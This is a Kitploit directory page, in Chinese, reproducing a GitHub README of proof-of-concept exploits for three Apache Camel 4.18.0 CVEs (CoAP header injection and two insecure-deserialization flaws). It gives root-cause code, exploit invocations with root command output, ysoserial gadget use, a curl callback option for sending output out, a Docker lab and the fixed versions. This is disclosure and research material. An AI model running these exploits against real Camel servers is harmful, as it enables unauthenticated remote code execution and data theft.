Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33453 — 提供针对三个严重 Apache Camel 漏洞的可用概念验证漏洞利用及详细分析,包括 CoAP 标头注入和导致远程代码执行的不安全反序列化。 | Kitploit
工具/GitHubGitHub/dinosn/cve-2026-33453
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队二进制利用
GitHubdinosn/cve-2026-33453

CVE-2026-33453

提供针对三个严重 Apache Camel 漏洞的可用概念验证漏洞利用及详细分析,包括 CoAP 标头注入和导致远程代码执行的不安全反序列化。

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Apache Camel 4.18.0 — CVE 安全评估

Apache Camel 4.18.0 中的三个严重漏洞,由独立发现并验证,附有可用的概念验证(PoC)利用代码。

CVE组件类型CVSS结论
CVE-2026-33453camel-coap标头注入 → 远程代码执行10.0 严重可利用
CVE-2026-40473camel-mina不安全反序列化 → 远程代码执行9.8 严重可利用
CVE-2026-40858camel-infinispan不安全反序列化8.8 高危可利用

CVE-2026-33453:CoAP 标头注入 → 远程代码执行

组件: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915(对象属性修改控制不当) 修复版本: Camel 4.18.1 / 4.14.6

根本原因

CamelCoapResource.handleRequest() 通过 setHeader() 将 CoAP URI 查询参数直接映射到 Camel Exchange 标头中,且未使用 HeaderFilterStrategy。CoAPEndpoint 继承自 DefaultEndpoint 而非 DefaultHeaderFilterStrategyEndpoint,因此任何未经身份验证的客户端都可以注入以 Camel* 为前缀的内部标头。

当路由转发到 camel-exec 时,攻击者控制的 CamelExecCommandExecutable 和 CamelExecCommandArgs 标头会覆盖配置的命令,通过单个 UDP 数据包即可实现预认证远程代码执行。

root@kitploit:~
// CamelCoapResource.java:103-109 — 无 HeaderFilterStrategy
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

PoC 结果

CoAP RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] 响应: 2.05
[+] 命令输出: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] 命令输出: app bin boot dev etc home lib ...

CVE-2026-40473:MINA 不安全反序列化 → 远程代码执行

组件: camel-mina — MinaConverter.java:60-63 CWE: CWE-502(不可信数据反序列化) 修复版本: Camel 4.18.2 / 4.14.6 / 4.20.0

根本原因

MinaConverter.toObjectInput(IoBuffer) 创建了一个原始的 java.io.ObjectInputStream,且没有 ObjectInputFilter。当 MINA 端点配置了 allowDefaultCodec=false 时,原始 TCP 数据以 IoBuffer 形式到达并进入 Camel 的类型转换器,该方法被调用——将攻击者控制的网络字节包装在未经过滤的 ObjectInputStream 中。

root@kitploit:~
// MinaConverter.java:60-63 — 无 ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // 攻击者控制的字节,无过滤器
}

攻击路径: 该利用针对配置了 allowDefaultCodec=false 的 MINA TCP 端点(PoC 中为端口 9879)。这完全绕过了 MINA 的编解码器层——ObjectSerializationCodecFactory 本身具有 ClassNameMatcher 白名单,否则会阻止任意类。禁用编解码器后,原始字节直接流向 MinaConverter.toObjectInput(),该方法创建了一个标准的 ObjectInputStream,且没有任何类过滤。

通过 CommonsCollections6 gadget 链(经由 ysoserial)可以以 root 身份执行任意命令。命令输出通过 curl 回调泄露给攻击者。

PoC 结果

MINA RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] 命令输出:
    uid=0(root) gid=0(root) groups=0(root)
[+] 已确认: CVE-2026-40473 RCE — 通过反序列化执行命令

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] 命令输出:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

逐步复现 CVE-2026-40473

前提条件

  • Docker 和 Docker Compose
  • Python 3.8+
  • Java 17+(用于 ysoserial)
  • ysoserial — ysoserial-all.jar(CommonsCollections6 gadget)

第 1 步:构建并启动易受攻击的服务器

root@kitploit:~
cd poc/
docker compose up -d --build

等待容器启动,然后验证:

root@kitploit:~
docker logs vuln-camel-mina

您应该看到:

MINA Setup

root@kitploit:~
[*] 易受攻击的 MINA 服务器已启动
[*] 端口 9877: transferExchange(Java 反序列化)端点
[*] 端口 9878: 对象序列化编解码器端点
[*] 端口 9879: 原始 TCP(MinaConverter.toObjectInput)端点
[*] 等待连接...

端口 9879 是目标——它使用 allowDefaultCodec=false,这会禁用 MINA 的编解码器过滤器,并让原始 IoBuffer 到达 Camel 未经过滤的 MinaConverter.toObjectInput()。

第 2 步:确认反序列化(探测模式)

首先,验证端点是否接受并反序列化任意 Java 对象,且没有 ObjectInputFilter:

root@kitploit:~
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

MINA Probe

root@kitploit:~
[*] 探测模式 — 确认反序列化(无 RCE)
[*] 载荷: HashMap(82 字节,原始 — 无 MINA 帧)
[+] 已连接到 MINA 端点
[+] 载荷已发送
[+] 数据到达 readObject(),未被过滤器拒绝

探测发送一个序列化的 HashMap。服务器通过 ObjectInputStream.readObject() 反序列化它,且没有抛出 InvalidClassException——确认零类过滤。

第 3 步:执行命令(完整 RCE)

在 ysoserial 可用的情况下,利用未过滤的反序列化实现任意命令执行:

root@kitploit:~
# 执行 'id' — 返回 uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# 读取文件
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# 系统信息
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

该利用生成一个 CommonsCollections6 gadget 链,以原始字节形式发送到端口 9879,并通过 curl 回调监听器捕获命令输出。

利用选项

root@kitploit:~
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           目标 IP/主机名
  port             MINA TCP 端口(默认:9879)
  command          要执行的命令(默认:id)
  --ysoserial      ysoserial.jar 的路径(未设置时自动检测)
  --callback-host  容器用于访问您的主机(默认:host.docker.internal)
  --gadget         ysoserial gadget 链(默认:自动 — 尝试 CC6、CC5、CC1)
  --probe          仅探测模式 — 确认反序列化而不执行 RCE
  --raw            发送原始载荷,不带 MINA 4 字节帧(端口 9879 自动启用)

注意: --callback-host 默认为 host.docker.internal(Docker Desktop)。如果在没有 Docker Desktop 的 Linux 上运行,请使用 --callback-host 172.17.0.1 或您的 Docker 桥接 IP。

第 4 步:清理

root@kitploit:~
cd poc/
docker compose down

CVE-2026-40858:Infinispan 不安全反序列化

组件: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502(不可信数据反序列化) 修复版本: Camel 4.18.2 / 4.14.7 / 4.20.0

根本原因

DefaultExchangeHolderUtils.deserialize(byte[]) 创建了一个没有 ObjectInputFilter 的 ClassLoadingAwareObjectInputStream。DefaultExchangeHolderProtoAdapter 将 Infinispan 缓存字节直接路由到此方法。具有缓存写入权限的攻击者(Hot Rod 端口 11222 或 REST API)注入恶意序列化载荷,当聚合仓库获取该键时会被反序列化。

这与 CVE-2024-22369、CVE-2024-23114 和 CVE-2026-25747 是相同的漏洞模式——Camel 反序列化路径中所有未修复的 readObject() 实例均缺少 ObjectInputFilter。

root@kitploit:~
// DefaultExchangeHolderUtils.java:46-53 — 无 ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // 攻击者控制
    }
}

易受攻击的代码

Infinispan Vulnerable Code


带注释的易受攻击代码

Vulnerable Code Annotated


复现全部三个 CVE

前提条件

  • Docker 和 Docker Compose
  • Python 3.8+
  • Java 17+(用于 ysoserial)
  • ysoserial 用于完整的 RCE gadget 链(CVE-2026-40473)

构建并运行

root@kitploit:~
cd poc/
docker compose up -d --build

这将启动:

  • vuln-camel-coap — UDP 端口 5683 上的 CoAP 端点,带有 camel-exec 路由
  • vuln-camel-mina — 端口 9877(transferExchange)、9878(ObjectSerializationCodecFactory)和 9879(原始 TCP — 主要攻击目标)上的 MINA TCP 端点
  • infinispan — 端口 11222 上的 Infinispan 服务器
  • vuln-camel-infinispan — 由 Infinispan 支持的 Camel 聚合仓库

运行利用

root@kitploit:~
# CVE-2026-33453:CoAP 标头注入 → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473:MINA 不安全反序列化 → RCE(参见上方详细说明)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858:Infinispan 不安全反序列化
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

清理

root@kitploit:~
cd poc/
docker compose down

评估流程

本次评估使用 RAPTOR 自主安全研究框架执行:

  1. 研究 — 识别全部 3 个 CVE,交叉引用修复提交以确定 Apache Camel 4.18.0 是唯一受影响的版本
  2. 源码获取 — 通过 git sparse-checkout 下载易受攻击的组件(camel-coap、camel-mina、camel-infinispan)
  3. 扫描(/scan)— 对全部 3 个组件进行自动化漏洞发现
  4. 理解(/understand --map)— 攻击面映射:入口点、信任边界、汇聚点、未检查的数据流
  5. 验证(/validate)— 完整的 8 阶段可利用性验证流水线(阶段 0 → A → B → C → D → E → F → 1),确认全部 3 个发现是真实的、可达的且可利用的
  6. 利用(/exploit)— 开发可用的 PoC,并搭建基于 Docker 的测试环境
  7. 文档 — 截图、利用报告和本 README

修复方案

CVE修复版本变更
CVE-2026-334534.18.1 / 4.14.6CoAPEndpoint → 继承 DefaultHeaderFilterStrategyEndpoint;CoAPComponent → 实现 HeaderFilterStrategyComponent
CVE-2026-404734.18.2 / 4.14.6 / 4.20.0在 readObject() 之前添加 ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*")
CVE-2026-408584.18.2 / 4.14.7 / 4.20.0添加 ObjectInputFilter 白名单(相同模式);如果配置了 JVM 序列化过滤器则回退到该过滤器

免责声明

本研究仅用于授权的安全测试和教育目的。所有利用均在本地构建的、运行易受攻击软件的 Docker 容器中进行了测试。请升级到上述列出的修复版本。

下载工具